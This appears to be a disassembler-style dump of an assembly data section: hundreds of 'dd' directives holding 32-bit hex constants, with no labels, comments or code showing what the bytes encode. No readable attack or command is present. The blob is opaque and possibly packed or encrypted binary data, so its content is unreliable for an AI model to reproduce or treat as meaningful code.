dd 3DB400F6h, 0E8FA2CD9h, 0AE585735h, 1E510108h, 3BC69A7Ah
dd 72211868h, 0BCCB9797h, 4942867Ch, 4809063Eh, 3CC8F06Ah
dd 0C0709245h, 58AE5B73h, 0A113DD37h, 0FC63C247h, 6802157h
dd 5CE2088h, 2DBDEh, 71FA7C18h, 2D02D0F1h, 220968ACh, 4E3C44D5h
dd 6C6040E1h, 7A3F1507h, 253CB70Eh, 0A187A4B5h, 0A850E8B6h
dd 21C84174h, 0C8182CB0h, 60E14F26h, 0F06CB964h, 488661E0h
dd 0D730F4F3h, 4490F211h, 0E30770FCh, 6839921Ah, 0CC6ECB90h
dd 37B0017Eh, 0B2C3B8A3h, 507DDDh, 52AD5D2Fh, 26454A92h
dd 0D7C63Eh, 1951975Ch, 0C002DC48h, 220A8BBFh, 0B7B8A05Fh
dd 0C94F46E0h, 4C903088h, 0D400FB7Ah, 0B396F720h, 3B70C59Ch
dd 21602FDCh, 0A1A8EF07h, 75F8F200h, 79F9A04Eh, 28C6F2E5h
dd 0F9C06526h, 299BDC64h, 3EF4BC93h, 65008022h, 0E04D558Dh
dd 2C5867Eh, 492CB791h, 0DC80D616h, 0A2022FF1h, 54A8CBh
dd 0B1B04BD8h, 85E980FEh, 8A1E7C88h, 14D81C41h, 0D60020B2h
dd 4F706310h, 0F600AB58h, 0DD5BB340h, 192243ADh, 7044C1F1h
dd 82382984h, 21A2BA97h, 85F20CB1h, 0FB0D5FA1h, 0DA2DEC44h
dd 7196A646h, 86A0124Fh, 32A900E7h, 0C582C76Eh, 1E2E56A6h
dd 0A5615CBAh, 2BF46D15h, 622F009Ah, 22464D65h, 0E709E550h
dd 44B664CEh, 0B444020Ch, 66678013h, 0C10020F1h, 2F877E1h
dd 0FBF40125h, 8D63B3E9h, 2F28306Bh, 0D0A3A231h, 0BC23488Eh
dd 40909721h, 7F93B682h, 4B22AC5Ah, 27654B57h, 10785088h
dd 0D23E0B87h, 442450A2h, 0BA9D3E00h, 0B668F263h, 42050020h
dd 972B66AEh, 29C0A498h, 5EEB501Ch, 25A09AF0h, 0B065B843h
dd 2B1E2411h, 5359806Bh, 0DD03A374h, 79113600h, 0F513B0A2h
dd 0A6E0094Bh, 8812D18h, 81A79195h, 81FDDE69h, 0BC22CBB7h
dd 20E12D13h, 41FE6A64h, 3DD5D800h, 0E8903CF6h, 1693002Bh
dd 0AED39DD4h, 0C304DC3Ah, 8FCC223Eh, 910A0C82h, 2D109AF4h
dd 45031DAFh, 657E0551h, 0C6C3D030h, 867C0222h, 7BBBCC3Ch
dd 6C665C41h, 80768830h, 679314B6h, 8C9A4E43h, 0A022FF43h
dd 0A8A55718h, 442E64E1h, 170023B1h, 6B095987h, 3EA34532h
dd 0D68F5D0Ch, 246650FDh, 250CB1C7h, 88C05F03h, 48D18662h
dd 479D1144h, 8BFE4810h, 0E118B091h, 144D4C5Ah, 1DF04424h
dd 45B026CEh, 4D140194h, 0DDAC4CD6h, 79824B4h, 40608E41h
dd 9D0084ABh, 361BB44Eh, 2648B74Bh, 4ECE7FCh, 0F5080FDCh
dd 8044FA98h, 2A097E00h, 3F4E7F65h, 59E00C0h, 0B38A8212h
dd 4075A31Dh, 0EB8110BEh, 179774E7h, 3587C86Ch, 3CF5F024h
dd 0AB0186E8h, 0B3A06554h, 9EC9F1ADh, 880F8C60h, 4D1FC9DAh
dd 40EEE6D0h, 7000B8A6h, 0C4264F1Ch, 66EE3E68h, 96640700h
dd 79D32805h, 59256000h, 6B3008ACh, 0E7610078h, 0BD3C4EF1h
dd 8B01106Ch, 96B5AA40h, 0F058B293h, 72E78130h, 76F078Ch
dd 2AB04B98h, 24AE37BFh, 31C4C08h, 97A9CA2Bh, 17196B88h
dd 6461361Eh, 8843591Ch, 83BA8CA2h, 0F06BB183h, 0EE01EC76h
dd 0F9F63F7Eh, 6DC6F877h, 93F80739h, 340412B0h, 530086C3h
dd 0F23402E5h, 0A04F8D29h, 0F0721080h, 0E13705Fh, 0AD0718B4h
dd 8637C860h, 2C02F8F9h, 0A1148F69h, 7B8CF09Ch, 0DB4B0905h
dd 0D4491308h, 8B0622Dh, 0AD250EDCh, 0EF396490h, 63F44250h
dd 9548A300h, 0B1D9C516h, 0C1860009h, 7D2E9FA0h, 0B30769A6h
dd 8A6BE2EFh, 3F3C0539h, 7EDA0C00h, 131E3DB8h, 0C806DBD3h
dd 98005404h, 129F7530h, 7D415Bh, 5597D7B3h, 0EAED7F76h
dd 0DCD36600h, 5108B4A0h, 0EC9B093Ah, 54D1DE14h, 4E1A8181h
dd 94C4C0F8h, 2682EE07h, 0BF9CCA48h, 0D77802C2h, 611E28A7h
dd 202A6816h, 0A5B2480h, 59F65F04h, 3087CBDEh, 1FC478C9h
dd 836A2D04h, 8A0C3C8h, 884558Ah, 30BCF2FBh, 0B21A20F7h
dd 0A30103FAh, 0F29AD135h, 1C54F6D2h, 49C8296h, 5D113994h
dd 2A46CA6h, 644C013h, 0ADA008E3h, 967FB09Ah, 90888F4Ah
dd 2FEC8889h, 28A66A2Ch, 93229044h, 484038D1h, 769963C0h
dd 2DE70ED7h, 6B00EA9Ah, 2AB2CEC9h, 11E0F118h, 88AB97A9h
dd 189541B1h, 204966C8h, 5499023Dh, 8E05F81Fh, 508C9A41h
dd 0B1688A8h, 0F046151Ch, 5FF59C80h, 2223124h, 83012D4Fh
dd 2C50694Ch, 4199A633h, 0AC9F882Ah, 5C9C00ADh, 0A51B63A8h
dd 7E00E9B5h, 0E313FB1Eh, 3EED2D78h, 1405C0D9h, 81360C9Bh
dd 0ECCB575Ch, 0BF0117B6h, 0DB7E0D65h, 0C6DD309h, 0F040205Fh
dd 0ED077CB2h, 0B1C8F7BBh, 80B80C21h, 9C386071h, 0F4CC2EB2h
dd 9423C200h, 0B2429F60h, 0A26701ACh, 0B1147D37h, 33A03054h
dd 1DE0809Ch, 391D85Ah, 512FEDA9h, 0C4E27D74h, 6C0018D1h
dd 915B951Ch, 42B866h, 4EBB165Fh, 8A36C762h, 8EE33B00h
dd 0DB7239F9h, 9DD4A0Eh, 0D81030BCh, 0C8F05E11h, 180F903h
dd 0F8A14737h, 26888192h, 60088DEDh, 2B58092Fh, 0B6498000h
dd 532D45C0h, 2E8B897h, 0AD512C42h, 28C0A37Dh, 618AAF96h
dd 8C08FC48h, 2DA1A344h, 100EF018h, 0ED05F6C8h, 3856248Fh
dd 87A9E008h, 6062B823h, 0B7F99E7Ah, 1420C04Eh, 16D6EEh
dd 70394E52h, 993319A6h, 9FCAA70Fh, 5856DE61h, 3244D300h
dd 58804A8Eh, 47B1D417h, 385A31C5h, 16EC85B0h, 442DFCF4h
dd 6B78FAC8h, 68076100h, 0EC3719E4h, 4230058h, 0B72BE551h
dd 0FA515E7Dh, 1EB872CAh, 6D408C27h, 0B8772BC6h, 530701FEh
dd 0D8FCEE17h, 8F506CBEh, 0E6409F33h, 31391BFBh, 1460005Eh
dd 0C2012BD3h, 0E0241C3h, 692DFE54h, 14CD86Ch, 68F51564h
dd 0C0BD28E7h, 0C24E2A4Eh, 7EBA8C98h, 6D9901B4h, 9456EF8Ch
dd 170840C4h, 97272DAEh, 30658Bh, 0EA3F9A03h, 0D500B3DDh
dd 0C6A5D401h, 5C5B21E8h, 8B82D87Dh, 0A4660217h, 0E4404B4Ah
dd 629EAAF4h, 0F5D300E1h, 0E6A6740Fh, 0E803873Dh, 8DCA57FAh
dd 47C91C6Dh
dd 0B6684B15h, 3DD8E003h, 8010BCB4h, 5ED0CB0Eh, 26F72EDFh
dd 60682568h, 3D00B4CEh, 0F533FF8Bh, 7E65855h, 0BB8325B0h
dd 0F6FD7027h, 0AF5DE12Eh, 48455888h, 62F8048h, 5C9EC665h
dd 51027857h, 0C7A5D875h, 0A1409476h, 76A05CAFh, 0B26107B9h
dd 909EC33Bh, 4406697h, 0CC9D802h, 62C05850h, 0E2684628h
dd 0DAF03E38h, 0D5000F3Ah, 0BB25412Ah, 0E4B8C8D2h, 25C63E22h
dd 344605DCh, 81A449C8h, 51AC58F0h, 30C6F5B5h, 0ACBC9C34h
dd 96808049h, 26CBD5B1h, 26285093h, 8BED40FCh, 0B000CC69h
dd 0F1D13134h, 0A427610h, 41C05528h, 0A3A03FA4h, 6340D0B6h
dd 2CE98Eh, 0D198EEEAh, 1FC688A3h, 0D9DBB500h, 6DCE02Eh
dd 0A8048A0Ah, 16C859C4h, 0E8469512h, 488CA4Fh, 90EE1E87h
dd 0A7E80D4h, 0FB2A0B76h, 6126C401h, 842FD136h, 5F285468h
dd 0D4AC2098h, 618FA891h, 374800C3h, 0F21D203h, 668ADCAAh
dd 88A42332h, 0D4D09DA0h, 3DF6A400h, 713033C0h, 5447007Dh
dd 2CB3070Eh, 0A8A9BF2Fh, 50FC1472h, 1C00F88Bh, 8EDA5E88h
dd 20030700h, 1A7A8936h, 2FFCE795h, 40989199h, 0AD0D3794h
dd 0E74703Fh, 0A0B86D3Fh, 95972B17h, 40DE88A8h, 0D67C3E02h
dd 0E0D4A189h, 9512C444h, 3F50E8A1h, 98829BAh, 44BF4842h
dd 0CC9B0BF8h, 828086EFh, 728D5C2Eh, 0F468B226h, 0C0FDD044h
dd 0F22310C0h, 0E400CCD4h, 421BB784h, 0E3B3165Bh, 4FF49804h
dd 840B4BEh, 23C3592h, 3F46BAB8h, 0A0FBAB5Eh, 1825080h
dd 98E37F93h, 0EAF626CCh, 40A044F8h, 2B153F56h, 4B09884h
dd 0F4F9283Eh, 5CACF3h, 0ABE81AE5h, 0EADD1h, 4EED10EAh
dd 0A9A89FCBh, 52978C00h, 77C93E7Eh, 0DDCD1265h, 273FC88h
dd 0C5DC318Bh, 945248h, 9B0DD56Fh, 2E2D3306h, 0D7478005h
dd 72C07F57h, 64EE1526h, 88E00865h, 5000A6F0h, 0A742B81Fh
dd 0EA9432h, 1455F6F3h, 5709393Dh, 0A6293502h, 0C00D20D6h
dd 3B5FA2h, 16689741h, 4EB46D5Ch, 537EF900h, 6C1742E7h
dd 4C9D0095h, 94ABC20h, 660E35BAh, 0E024718Ch, 68A1485Fh
dd 2E070A45h, 189C3EEEh, 64CCC022h, 0A620B000h, 0B7F24F02h
dd 2198B86Bh, 8D028043h, 5107DB73h, 0B5C248Ch, 0C0047B44h
dd 2E0481ECh, 0B8C79DEh, 8DB1B5h, 92311093h, 13F7730h
dd 4FDE451Ch, 23FDB766h, 0ED3E007Ch, 9103A081h, 0D0B30567h
dd 7B86CE5h, 0B01E0CE0h, 0B460CBB7h, 0B24630C3h, 562F88F6h
dd 0BB64B1DDh, 83D9DF07h, 2E573064h, 4707CF8Eh, 14ACBFDBh
dd 2C5BD010h, 0E73F0277h, 95FC0DFh, 10785842h, 0B688CDEAh
dd 40955E96h, 31F5DED0h, 3E3A4E4Dh, 8086BD09h, 45C3125Ah
dd 8E94D37Dh, 1B490C00h, 0ABB6520h, 0EE8D1CBFh, 0A524C44Fh
dd 5374B0FEh, 4D498F04h, 5CC8123Ch, 2CA3851h, 7D938287h
dd 5DB740FAh, 0F0B8C524h, 6BA78F04h, 708C959Bh, 49150441h
dd 8CFDCE7Eh, 0FF0797BCh, 6E6CAF5Ch, 1EBE3EF0h, 0B7C0466h
dd 0CCFC0FA8h, 4814271Ch, 0C9CD77h, 0A609427Fh, 58CE2D93h
dd 0B8C40464h, 3F109097h, 0BC541B7Dh, 8E862898h, 93974168h
dd 2C034421h, 0A08A46FAh, 4C9A265Ah, 7C3518ABh, 81BC80E8h
dd 327247Ah, 0D2ACE359h, 40B524A6h, 0F86C50EEh, 25BA0026h
dd 64C14082h, 0D902C617h, 4E47BC9Fh, 3EAC954Ch, 90A64B74h
dd 675B62A8h, 4513D900h, 422C9665h, 32381DE9h, 95418451h
dd 9230A057h, 27DEBC44h, 0C64CC3Fh, 1E20D43Bh, 14839E80h
dd 0B0E29D45h, 298DFA2h, 9A526603h, 0B0C38CFBh, 4A18E3D5h
dd 0B7482820h, 0B2D700C5h, 0E730F572h, 4500E937h, 38DA517Ah
dd 4C38C97h, 0EFA15E63h, 500888CFh, 659C5C93h, 0C5F48E84h
dd 1E770CB6h, 27E4550h, 0E24DC31Ah, 0BC249088h, 0DFC074D8h
dd 1AB8DAF9h, 60E80E25h, 258BA320h, 48E96DBCh, 0B06510FEh
dd 0E0D0011Bh, 0B2E9987h, 3EC0E57Bh, 0AA091C44h, 0C3C378A9h
dd 0FDA02B9Bh, 5402A888h, 4D427193h, 805F0283h, 4A8A220Fh
dd 2585C99h, 0DB63FDF2h, 5164BDC3h, 0DC45C6E0h, 4164D902h
dd 1904B20h, 2450A23Eh, 2F248FF9h, 6C9493F5h, 2B84827h
dd 7ADE2F24h, 0A60B00ACh, 7CFCE061h, 9006EA4h, 0BA500519h
dd 1364DD73h, 0C16A3EAEh, 3AAAC2B4h, 0F3B05000h, 2059DC3h
dd 8A8882EAh, 38D1B339h, 0CBE51387h, 985627C0h, 8050BE30h
dd 0F9904E18h, 0A0914F97h, 0F6824601h, 478CB1Bh, 0DF3DC605h
dd 218CF38Eh, 80429096h, 91FBE855h, 94A87248h, 0B580BF90h
dd 9778FD4Eh, 0A400FBF3h, 8D5F7E57h, 285BAD83h, 2094B163h
dd 0B304A815h, 5F209388h, 52DB84E0h, 833BB87Dh, 40D84D07h
dd 0E08A04A7h, 0D4699C0h, 35BA9A12h, 68B2A0h, 16AA0FACh
dd 11B87h, 39E73EB0h, 6BDDA4D3h, 13C484Dh, 0C0C6B906h
dd 0B86908DBh, 0E8C0DC8Eh, 0CDB75099h, 949B8E12h, 4A26425h
dd 40C13600h, 165D0EB5h, 24D48E4Ah, 1BDC5004h, 53F0488h
dd 97E846F5h, 4EC02165h, 4C9822E0h, 526B0745h, 0F949AF8Fh
dd 88570058h, 0D3F67126h, 329B2100h, 0ACEE0639h, 4300BCA3h
dd 1EF0CE37h, 0AB00683Bh, 10BC347Ah, 0B29946h, 2698F3A4h
dd 9313CC80h, 0DA38809Dh, 663042Ah, 6814C179h, 3A00C12Fh
dd 0D0E30B3Ch, 5F7C2Ch, 0C023D362h, 9173D197h, 0E09A3916h
dd 55088400h, 91051BEh, 71B0997Eh, 36D5F080h, 0A53ED816h
dd 51C60113h, 2D598A70h, 461828BCh, 4E31902h, 0F3D89000h
dd 0B84CA8EAh, 0DCBA3EB4h, 0AA420072h, 28B32CC2h, 80F75470h
dd 4577FC69h, 198D146h, 81E0B9D5h, 0FCF24401h, 0E279677Dh
dd 0C4546E18h, 0C27431h, 2290BB5Fh, 0B1FEA801h, 72F88607h
dd 0D831F637h, 918615ABh, 39DBF31Fh, 0B1229F30h, 0F029FDA2h
dd 6B730052h, 906AC5FEh, 10014B4Eh, 8EF6E92Ah, 3992CAB9h
dd 0A4E105B2h, 669000D0h, 1C129BC5h, 8065C9CEh, 0ABF55BCEh
dd 79CB30AEh, 0A3FD1078h, 0A8712960h, 3A111A19h, 250031A6h
dd 463F5BCDh, 5D018974h, 0FC6EEE6Bh, 6CC00E93h, 10CE0635h
dd 0D028A3A9h, 3C1A2558h, 513D3062h, 1268D83h, 87A2C88Eh
dd 0FCAD8BE0h, 9300B5C2h, 82CE2F5Eh, 727633F8h, 0ACD9150Dh
dd 0E5088804h, 8E3DC573h, 408E2D45h, 54DD505Fh, 0ACF1C0BFh
dd 0F4D0DAC4h, 8C812E0Ch, 462F8C5h, 83B69241h, 0BD5406B4h
dd 0CA7331h, 922AD3B2h, 9A40DD2Bh, 0F80190A4h, 6D566A66h
dd 7FF3E8Ah, 0EFCE9BC1h, 0A884309Ah, 0E8C10CB3h, 8CE682B1h
dd 0DFA5A050h, 95F30120h, 36FADAF0h, 0DDB4DCE0h, 7C4B033Ah
dd 0DCC91B00h, 56F24C11h, 4E960035h, 5E4ACCF8h, 0B33A9454h
dd 0E1FD80E9h, 0C277F0Dh, 339F002Ah, 6247AEB1h, 4B001B35h
dd 0CE5A0F79h, 2A20BFBDh, 90718Dh, 64961FDEh, 903F4787h
dd 21462A0Eh, 0EA1D606Dh, 6F831D6h, 11C60EF4h, 0D248AAF1h
dd 80398834h, 3B52974Eh, 0CE0079A3h, 9EB5A1ECh, 916004h
dd 567C28CAh, 6E5AD409h, 864B760Fh, 46BDC219h, 0A7D8AF05h
dd 6D70B880h, 50159B6Ah, 0AC50E5h, 7ADB43EAh, 0E60487EDh
dd 0D0CFCE01h, 179656EEh, 83204884h, 6910007Ch, 0C03A751Eh
dd 1A01A658h, 2C031946h, 78B82D64h, 3DAEE10Ah, 0D5540841h
dd 0C298D180h, 3CB98713h, 1E2E9E00h, 0D8A0DA94h, 909203C1h
dd 61B4FCAFh, 0BD7D9900h, 33960C69h, 0FD340758h, 0E005ADE0h
dd 1A24AE22h, 0DF233602h, 0A0209E3Eh, 69962894h, 0AC8700C4h
dd 4160B4C2h, 0F70184CCh
dd 9A43564Fh, 0B82416F6h, 0FB943DEEh, 5548DD80h, 6C4B8B10h
dd 22440D4Dh, 1AB3011Dh, 2ABBC334h, 3DE8305Bh, 7B73B39h
dd 8E7382E9h, 0D2729270h, 0AAD509C0h, 6CA07DABh, 0E46C4AD3h
dd 0AD22607Ch, 0BC90020Ch, 0F820CEFDh, 0BB7D0C64h, 0F8720630h
dd 0EA7985h, 382B4499h, 96A9090Eh, 0F4EFBD00h, 0DD6DF9BFh
dd 0F128609Dh, 0FBCB5024h, 238F7D00h, 0DCE0A413h, 0E8FEE81Fh
dd 9C9301Ah, 987D5579h, 2220F639h, 249F50C1h, 79DF020Fh
dd 0A4E723E4h, 0D61F94B1h, 5E4754A1h, 36D03C8h, 605F74E0h
dd 491D26A3h, 0D8008788h, 0B2AA6AEBh, 8A6E0C63h, 46213841h
dd 0F8911B60h, 0DA3C64h, 0DEA58E06h, 0B34AB8C7h, 0CDFA5C00h
dd 8AE66E2Eh, 650C026Dh, 89A6AAC9h, 5C981862h, 81EEB8Fh
dd 14C99294h, 4165003Bh, 2486F70Dh, 75C07D6h, 26FA1F2Eh
dd 0AF00802Ch, 4ADCF6CDh, 28FA60Fh, 0F9208364h, 0EC6E2D4Eh
dd 8F00B8F8h, 77EF5318h, 0EEA5B66h, 5DA66C39h, 0C7828854h
dd 0D882846Bh, 0D864C9AEh, 21D75530h, 0A5A425h, 0AC0570D3h
dd 0AD7F3416h, 6885AB13h, 0C9B11C00h, 0CE40Fh, 0C87A3790h
dd 18B28D2Ah, 0E8B00605h, 9BC0404Ah, 2252C65h, 20F0B1FCh
dd 0E091DAEFh, 83491021h, 0CC171D08h, 752EC044h, 0ACEAD9F0h
dd 3F79E101h, 0D432C29h, 0C10B4088h, 0D6AE2680h, 765803h
dd 0C883FD6Ah, 467B476Eh, 40CD8500h, 89F72C39h, 54F83829h
dd 0FDAE3960h, 441D4658h, 89962C11h, 0E5F15020h, 0D184A88Ah
dd 0EB6700E7h, 0BD056860h, 9B7783CBh, 0D790541Fh, 3E00EE57h
dd 0ED1DD36Eh, 0C142E877h, 0A59EA870h, 4613F0DDh, 7C180149h
dd 480D3Ch, 870A93CBh, 0C67AD92h, 0EEE0655Fh, 0C939F570h
dd 49689F0Dh, 0F80E6C9h, 4A8B2318h, 7A1EE08h, 0DCEACAB6h
dd 2C3FC305h, 0DAD1B904h, 65C62B9Ch, 0B02E0071h, 2CBB0CC8h
dd 0E01675EFh, 0F703049Bh, 0B8954AD2h, 0F85E7h, 0C151A55Dh
dd 653E7148h, 96635600h, 5BD722E5h, 0ECFB5895h, 55B2AC00h
dd 7E082FBCh, 2AADD918h, 4F0F469h, 7DE28166h, 0E53CCCBEh
dd 654F8812h, 2EB8117h, 0B1BC78AFh, 269CEF60h, 8FC70F39h
dd 0E0DB5DFEh, 4FDF6CEh, 0FA2015A1h, 0D914D4EDh, 1F82A0A2h
dd 0C82BFFDh, 59220DA9h, 40C710A1h, 0E9118409h, 0AE6800ACh
dd 0C47CC546h, 21C20B41h, 0C1507A0h, 4D19C5B0h, 8B5D5506h
dd 1D61C04Ch, 2C748220h, 39A44784h, 87F38800h, 9B0F1BDCh
dd 97B5F59Dh, 694C6C00h, 2E646509h, 42308920h, 5CE0ADDEh
dd 0A4002BBCh, 0A61B1A09h, 918BFCEBh, 9AC173Ch, 20014198h
dd 81259E42h, 0FA9A2619h, 15C437C2h, 28F89030h, 2264BDF2h
dd 700C0BAEh, 0B96AA2DCh, 191F6046h, 5692E0BDh, 73CB6E03h
dd 0A069F085h, 0E5A8432h, 462C1AC5h, 40B4A63Eh, 0ADB28FF5h
dd 0A47A9019h, 8B11FEC8h, 7CB83246h, 80A88C58h, 84C72665h
dd 80A499AEh, 0B605F4B0h, 0F0007146h, 0F66D0DB1h, 2AFB4586h
dd 44BCBE7Ch, 0AC992601h, 93AC8Eh, 24C917E2h, 4E801F21h
dd 13FE40DBh, 0AEB7154h, 70ECAF5Ch, 0C415F20h, 78872026h
dd 4A02D491h, 0A2D07377h, 0A985232Ah, 6D2C96B8h, 0CD9A7A09h
dd 39C490E6h, 0FDA07DEh, 0E730069Fh, 0C15427B8h, 48414ADDh
dd 8114858Ch, 10894EAh, 2C3E5F0Dh, 0C8295553h, 76663C00h
dd 0D80585BDh, 34AD2A08h, 0CD096F83h, 40BF7004h, 0B2CB6747h
dd 90251D07h, 5CCE0168h, 0E43C369Fh, 4400478Bh, 0C61BDD15h
dd 0F04BBEF8h, 5C117FEh, 6B84F5Fh, 0DD701080h, 0D419D2E6h
dd 0E5A117A4h, 1752029h, 0C1331D96h, 0C857F276h, 0DF005097h
dd 10D108DCh, 0E6AA67Fh, 0AD517466h, 4FCCD083h, 0DB399DA8h
dd 0F1F0BD01h, 565DBEF9h, 17461ECh, 0A9D72401h, 0CCC259DAh
dd 660D8ED1h, 20BC3992h, 1F407160h, 400183C4h, 0DDF3215Dh
dd 0A50393BDh, 0EAC6E16h, 67A3A00Fh, 50740E5Eh, 0ECA0E3ADh
dd 529CB5BDh, 36509F78h, 0B0601808h, 83BBAD59h, 11B661DFh
dd 0BC76E6BCh, 0B1D40318h, 6FCC96h, 1083C250h, 0B220198Dh
dd 6E173600h, 0D469A774h, 6C9700D0h, 0C386DBDAh, 0CC419ADCh
dd 1885C2E4h, 61B338D4h, 796E71F0h, 50F785B6h, 0EA98043h
dd 0AED1A1CAh, 38B67881h, 47DE8455h, 0D5C10054h, 7018AEBAh
dd 60395901h, 0C9646C34h, 63074F20h, 0B54B8A0Fh, 1E7EB08Ch
dd 0D221FFC8h, 5B448061h, 0AD01467Ch, 30AB9896h, 39E07926h
dd 66F933EFh, 618E5DD0h, 7B4FD400h, 0EA7A9276h, 804207B1h
dd 7FB9B5FAh, 0FC3678F9h, 460F0B98h, 60ADBFC9h, 0F8B80C63h
dd 62A501BDh, 0DC845707h, 0DC998B7h, 78141190h, 0E6E0E1Ch
dd 0B26CC9B8h, 503A3621h, 0C09E02D2h, 87305FD4h, 0B750EC70h
dd 348502Eh, 1EB0E60h, 0D018C4D6h, 4B41C23Ah, 2FE1003Ch
dd 86B10496h, 0B21ED977h, 0E403170h, 4C3D35F4h, 46971413h
dd 5A06C03Ah, 40D9F35Eh, 49C0BDF2h, 0E9967765h, 0C840035Fh
dd 0F197CD59h, 1FC9B5A8h, 6C6F0C90h, 7554A099h, 3D6428D5h
dd 888529F8h, 40E73BDCh, 0A2C856C4h, 31C06266h, 0AEAA3FEAh
dd 5CE02Ch, 0DDFE5708h, 59765492h, 443390A0h, 30943151h
dd 0AC00E36Bh, 0C0A6019Fh, 0C4FE3260h, 93864A49h, 3BF04154h
dd 0C50025F0h, 56E918D6h, 0A8C4481h, 0AF21BC1Eh, 78DA009Ch
dd 0F970DB9Dh, 0F1AECA37h, 780BED8h, 0D273B3A7h, 920C2DB9h
dd 28C6EFCAh, 0D16C16FDh, 9BBACEAh, 20635DBDh, 7CE7EE10h
dd 604000Fh, 68780A83h, 1C07641Dh, 2F655973h, 2EFE71A3h
dd 0C5F74A9h, 75117B1Dh, 7E392F00h, 6672D498h, 29646F5Dh
dd 0AA50C35Eh, 1C8D205h, 0B200B19Dh, 0AE70F029h, 18612E7h
dd 6BD5FFCBh, 4C586E8Ch, 0BB00BAC8h, 0D131769h, 1395CE27h
dd 41CC3ACAh, 60E3A548h, 0DA699F55h, 13FD8580h, 0D04037h
dd 2CB1FE49h, 0A95B0CC7h, 85F17A0Eh, 8807A978h, 3A0A0C20h
dd 55809CB8h, 0A140F6A2h, 6E4600D6h, 1AA59804h, 8061EFBDh
dd 0B4D483E9h, 0E4BC318Dh, 2020F1A9h, 2886E24h, 1F833A0Ah
dd 0BE0F703h, 23D72CD8h, 3808B0C3h, 0C520AE5h, 0BBC15B5Dh
dd 500D3F4h, 699B0DF2h, 99DDAB0h, 2F3160A1h, 0B15E84A1h
dd 4C409A7Fh, 2EAC8279h, 0F8702268h, 0B7004464h, 0B0D63338h
dd 1D3EED13h, 40090F10h, 0A49E0E93h, 0B8302F60h, 0B1563879h
dd 0E7BC188Ah, 0D784410Ch, 96E9C062h, 4F802C6Fh, 4E826A00h
dd 362F1DAFh, 4D153E08h, 0E3BC9202h, 830456A1h, 20103E84h
dd 90E60350h, 0F0EF94A3h, 1871078Dh, 28ACAFFAh, 0C00CEA49h
dd 1004D583h, 0E1BD1850h, 8D70E975h, 0F6710E09h, 3A30A54Ch
dd 8B49C421h, 377AAE8h, 0BDCBB125h, 0C914A8E7h, 80A0D5h
dd 0C3A2B06Bh, 0C2AFDE83h, 4A4BA539h, 81D42049h, 56799C5Eh
dd 0B1807595h, 1E64993Ah, 2E003DE0h, 975D44B4h, 7AED87DCh
dd 5B8C0607h, 31719666h, 7A636A01h, 4EA03ACCh, 280C2F8h
dd 7952C4B7h, 28C008B5h, 62420D88h, 0D1557305h, 681480BBh
dd 6018804Bh, 0C751673Bh, 0E22800F5h, 9F89D63Dh, 0CC54F871h
dd 0CCA6B180h, 422FB600h, 632D958Eh, 0A15B0107h, 69B068EDh
dd 241DC1B2h, 76026120h, 5CC2092Bh, 54800964h, 0D6EEC751h
dd 17DBDE00h, 8152DDF8h, 0C1EF1272h, 5B3005FFh, 5A54885Eh
dd 0E7333Fh, 0E41FAA08h, 60B40EA8h, 7A74612Eh, 8312BC7Eh
dd 9423BADAh, 0A08CDCEEh, 0C39688AEh, 4B387267h, 72B221CCh
dd 0BE6D002Ah, 39F2883Bh
dd 19E04F3Fh, 2B329A01h, 65A9D584h, 88F05988h, 81605D8Ch
dd 0A141077Bh, 0E01E2102h, 0A73B6AEBh, 8B69E00h, 1F06016Eh
dd 349869h, 0FDB5E0Dh, 0A5D57EC3h, 0A8E2FF00h, 71689F75h
dd 0E30A0072h, 5EB44369h, 970CDA96h, 69575DBFh, 0C54748A6h
dd 5E37D700h, 85EADCC7h, 0B214F70Fh, 68030059h, 0A1236E2h
dd 0D9AF4C2Eh, 1172018Ch, 336D75DAh, 8E9D003Ch, 91E25339h
dd 8B03827h, 0ABC62301h, 875C5E57h, 0CDE9C271h, 0A66E7930h
dd 0CE0916C3h, 34B800E7h, 0D69E1DCFh, 79D24A1Fh, 0D735E3C0h
dd 0C20B1Bh, 0F833A549h, 0C55BAD39h, 0D80E0900h, 0F7E267CEh
dd 200F0092h, 5F5E6A8Fh, 18009E4Bh, 0D2438B06h, 3CF6275h
dd 0CC572982h, 98FB38A6h, 85272E2h, 4469BF00h, 6C65752h
dd 0BC281D5Eh, 2CB20E50h, 0A5057F91h, 6A99C92h, 0BDDBF430h
dd 0E0660767h, 576038B1h, 2077827Eh, 0E5F7B8C0h, 2260575Dh
dd 3DB30762h, 508196DFh, 125389F9h, 15464500h, 23DDD537h
dd 21E71739h, 0D1E44075h, 8401A48Fh, 2B70DF01h, 34E70F43h
dd 4115BC60h, 69A03075h, 22A861D4h, 0F87972h, 7B3A872Bh
dd 0E455B3C1h, 0E2F74D00h, 0B4C031E7h, 0DB126D2h, 30531360h
dd 1AF55CB8h, 3AC34902h, 406813D6h, 604AF434h, 0A99BF987h
dd 0BD01D492h, 0E54132F9h, 0F1F07994h, 0CB981Bh, 3415814Dh
dd 4B82EB1Ch, 0FB00B0B1h, 0C11A9899h, 17AC2C92h, 449022C6h
dd 2C07625Fh, 0E424417Ch, 0BFFA6BA0h, 22E50180h, 2DF9EEC6h
dd 737CF151h, 4B990E8Ch, 9A04005h, 55436B9h, 0A4AD6547h
dd 80D3F1E3h, 3C5A3829h, 1CE94890h, 80C87177h, 117FCCE1h
dd 0AD0CF99Dh, 895A5E32h, 3B6B3DB9h, 43808EB9h, 0EB012D9Ch
dd 7148D257h, 5FE2851Ch, 80D8DC88h, 8898D9D0h, 0BBE08318h
dd 0C56A9679h, 809ECB31h, 7E2118EEh, 7559B43Eh, 7D4B0E15h
dd 35070790h, 0BD601EF5h, 58D5DBE3h, 3C804039h, 3A3FAB25h
dd 0A7CFA81Eh, 0D63600F8h, 47F9716Eh, 0FD83AEh, 0E9460F3Ch
dd 5A005FADh, 2BA17FF9h, 4886C630h, 0D52518EDh, 2233BC00h
dd 254AD684h, 28A50800h, 0C0B3B5FAh, 0ED0D9D20h, 824CDB64h
dd 0CA3900FCh, 37604E3Bh, 4AD9C676h, 5F00C184h, 28ED34A4h
dd 0ABBEF3h, 379F472Ah, 60FCC6E0h, 0CE6EE6F0h, 693CC658h
dd 0DAC10541h, 0AB679ED1h, 0D9E74AC3h, 8021ABF4h, 0C61A60F6h
dd 232E00ACh, 9C2AB8E3h, 32F2B1D5h, 0A613A1E8h, 0EC205CBAh
dd 4A37023h, 79DB4001h, 728A2A4h, 2BBD5EA2h, 3786CFA0h
dd 0D5C10421h, 0B27B22B8h, 18531Ch, 281A50E2h, 3B2CA5CAh
dd 0F181A9D0h, 3BD348C2h, 9F1C3Fh, 2C0EDDCDh, 0C36B99A6h
